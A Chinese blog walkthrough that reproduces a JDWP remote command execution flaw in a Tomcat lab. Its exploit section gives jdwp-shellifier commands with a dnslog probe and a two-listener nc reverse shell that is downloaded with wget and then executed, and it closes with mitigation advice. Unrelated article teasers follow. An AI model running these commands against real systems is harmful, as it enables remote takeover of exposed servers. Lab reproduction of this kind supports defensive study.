您现在的位置是:首页 > 正文

【漏洞复现】JDWP远程命令执行漏洞

2024-02-01 06:40:09阅读 2

0x01 简介

JPDA(Java Platform Debugger Architecture):即Java平台调试体系架构。Java虚拟机设计的专门的API接口供调试和监控虚拟机使用。

JPDA按照抽象层次,又分为三层,分别是:

  • JVM TI(Java VM Tool Interface):虚拟机对外暴露的接口,包括debug和profile。
  • JDI(Java Debug Interface):Java库接口,实现了JDWP协议的客户端,调试器可以用来和远程被调试应用通信。
  • JDWP(Java DEbugger Wire Protocol):即Java调试线协议,是一个为Java调试而设计的通讯交互协议,它定义了调试器和被调试程序之间传递的信息的格式。说白了就是JVM或者类JVM的虚拟机都支持一种协议,通过该协议,Debugger 端可以和 target VM 通信,可以获取目标 VM的包括类、对象、线程等信息,在调试Android应用程序这一场景中,Debugger一般是指你的 develop machine 的某一支持 JDWP协议的工具例如 Android Studio 或者 JDB,而 Target JVM是指运行在你mobile设备当中的各个App(因为它们都是一个个虚拟机 Dalvik 或者 ART),JDWP Agent一般负责监听某一个端口,当有 Debugger向这一个端口发起请求的时候,Agent 就转发该请求给 target JVM并最终由该 JVM 来处理请求,并把 reply 信息返回给 Debugger 端。

0x02 环境搭建

靶机:192.168.178.128(centos)
攻击机:192.168.178.129(kali)

1、Centos安装tomcat
Tomcat官网下载https://tomcat.apache.org/download-70.cgi,Tomcat 有一键安装版和解压版,要搭建jdwp环境只能使用解压版。
在这里插入图片描述2、解压安装tomcat

tar -zxvf apache-tomcat-7.0.108.tar.gz
mkdir /opt/tomcat
mv apache-tomcat-7.0.108 /opt/tomcat/

3、修改配置文件

cd /opt/tomcat/apache-tomcat-7.0.108/bin
vim catalina.sh
//在首行添加:
CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000"

连接方式有两种,为dt_shmem和dt_socket,分别表示本机调试和远程调试。address=8000 代表开启8000端口作为远程调试端口。./startup.sh启动tomcat。
在这里插入图片描述4、在windows上通过jdb连接debug模式的tomcat
jdb.exe -connect com.sun.jdi.SocketAttach:hostname=192.168.178.128,port=8000
在这里插入图片描述

0x03 漏洞复现

1、简单验证
telnet端口,如果返回JDWP-Handshake,即表示存在漏洞。

2、POC
(1)poc下载地址:https://github.com/IOActive/jdwp-shellifier
(2)该漏洞无回显,可利用dnslog进行探测
python2 jdwp-shellifier.py -t 192.168.3.118 -p 8787 --break-on "java.lang.String.indexof" --cmd "ping xxx.dnslog.cn"
在这里插入图片描述3、反弹shell

下面内容均在攻击机上操作:

(1)准备反弹shell文件,保存为shell.txt
nc 192.168.178.129 3333 | /bin/bash | nc 192.168.178.129 4444%

(2)进入到有shell文件的目录下,终端开启简单http协议,使得靶机可以下载shell文件
python3 -m http.server 8000

(3)开启监听,需要开启2个监听,前面一个输入执行命令,后面一个输出命令执行结果

nc -lvvp 3333
nc -lvvp 4444

(4)利用POC执行命令,下载shell、文件可执行权限、执行shell

python2 jdwp-shellifier.py -t 192.168.178.128 -p 8000 --break-on "java.lang.String.indexof" --cmd "wget http://192.168.178.129:8000/shell.txt -O /tmp/shell.sh"
python2 jdwp-shellifier.py -t 192.168.178.128 -p 8000 --break-on "java.lang.String.indexof" --cmd "chmod a+x /tmp/shell.sh"
python2 jdwp-shellifier.py -t 192.168.178.128 -p 8000 --break-on "java.lang.String.indexof" --cmd "/tmp/shell.sh"

(5)两个监听都收到shell,一个输入命令,一个输出结果
在这里插入图片描述

0x04 修复建议

(1)关闭JDWP端口,或者JDWP端口不对公网开放
(2)关闭Java的debug模式

网站文章

  • Node.js模块加载机制

    I. 使用require()加载自定义模块是,必须以./或者…/开头的路径标识符。在加载自定义模块时,如果没有指定./或者…/这样的路径标识符,则node会把它当作内置模块或者第三方模块进行加载。II...

    2024-02-01 06:39:41
  • 从源码分析:Java中的SPI是怎样工作的

    spi介绍提到api,大家或多或少地都接触或者使用过,但是如果说到spi呢,可能了解的人就要少一些。Java SPI的全...

    2024-02-01 06:39:33
  • 家用 文件服务器,家用文件服务器

    家用 文件服务器,家用文件服务器

    家用文件服务器 内容精选换一换远程桌面协议(Remote Desktop Protocol,RDP),是微软提供的多通道的远程登录协议。本节为您介绍如何使用RDP文件远程登录Windows弹性云服务器...

    2024-02-01 06:39:25
  • SpringCloud-向Eureka注册中心注册微服务(微服务的搭建)

    SpringCloud-向Eureka注册中心注册微服务(微服务的搭建)

    Eureka注册中心注册微服务 注明:此项目为本人学习尚硅谷老师的教学视频然后整理核心的配置文件,所有的项目均在以下地址下载。https://github.com/xwbGithub/microservicecloud下载, 本章讲解请参考microservicecloud-provider-dept-8001,首先微服务的服务中心...

    2024-02-01 06:38:54
  • spring实现aop的步骤

    spring实现aop的步骤

    首先注意导入一个jar包! 在applicationContext.xml中配置扫包 :开启aop的自动代理 切面类 @Component//spri

    2024-02-01 06:38:47
  • 爬虫技术原来可以做这么多牛逼哄哄的事情!

    爬虫技术原来可以做这么多牛逼哄哄的事情!

    对于很多对于不懂编程语言的GGMM来说,爬虫技术高深莫测。但是对于IT工程师来说,爬虫技术可以说信手拈来。虽然熟知爬虫技术,你是否知道它竟然可以做这么多这么牛逼哄哄的事情! 1.利用爬虫技术抓取公司用户信息 公司有15k员工,办公系统的hr模块,只要有部门级的管理人员权限就可以看自己部门的几百名员工资料,包括历年历月的工资条和具体个人信息。关键是,网页地址上有员工编号,如果改一下编号...

    2024-02-01 06:38:41
  • 构建工具webpack与babel使用

    构建工具webpack与babel使用

    Babel入门 一、Bable是什么 Babel是一个广泛使用的转码器,可以将ES6代码转为ES5代码,从而在现有环境执行。 这意味着,你可以现在就用 ES6 编写程序,而不用担心现有环境是否支持。下...

    2024-02-01 06:38:34
  • ASP页面基础知识

    1, 是什么意思呢?是加入样式文件,     href="style.css"   是加入sytle.css样式文件 。rel指定链接link的类型,style指定目标文件href的类型 2,

    2024-02-01 06:37:58
  • Matlab:多输入多输出非线性对象的模型预测控制(MPC, Model Predictive Control)的实现

    Matlab:多输入多输出非线性对象的模型预测控制(MPC, Model Predictive Control)的实现

    [TOC](Matlab:多输入多输出非线性对象的模型预测控制(MPC, Model Predictive Control)的实现)✨ 本文展示了如何在Simulink中设计多输入多输出对象的闭环模型预测控制 (MPC, Model Predictive Control),分析对象具有三个操纵变量(Manipulated Variables)与两个测量输出(Measured Output)。

    2024-02-01 06:37:52
  • cuda 排序算法笔记

    Thrust是cuda自带的c++库,cuda安装好之后,这个库也默认安装好了。 这个库基本是采用类似STL的接口方式,因此对于开发者非常友好,开发者不再需要关注内存与显存相关的问题了。 排序入门例子 #include #include #include #include #incl..

    2024-02-01 06:37:19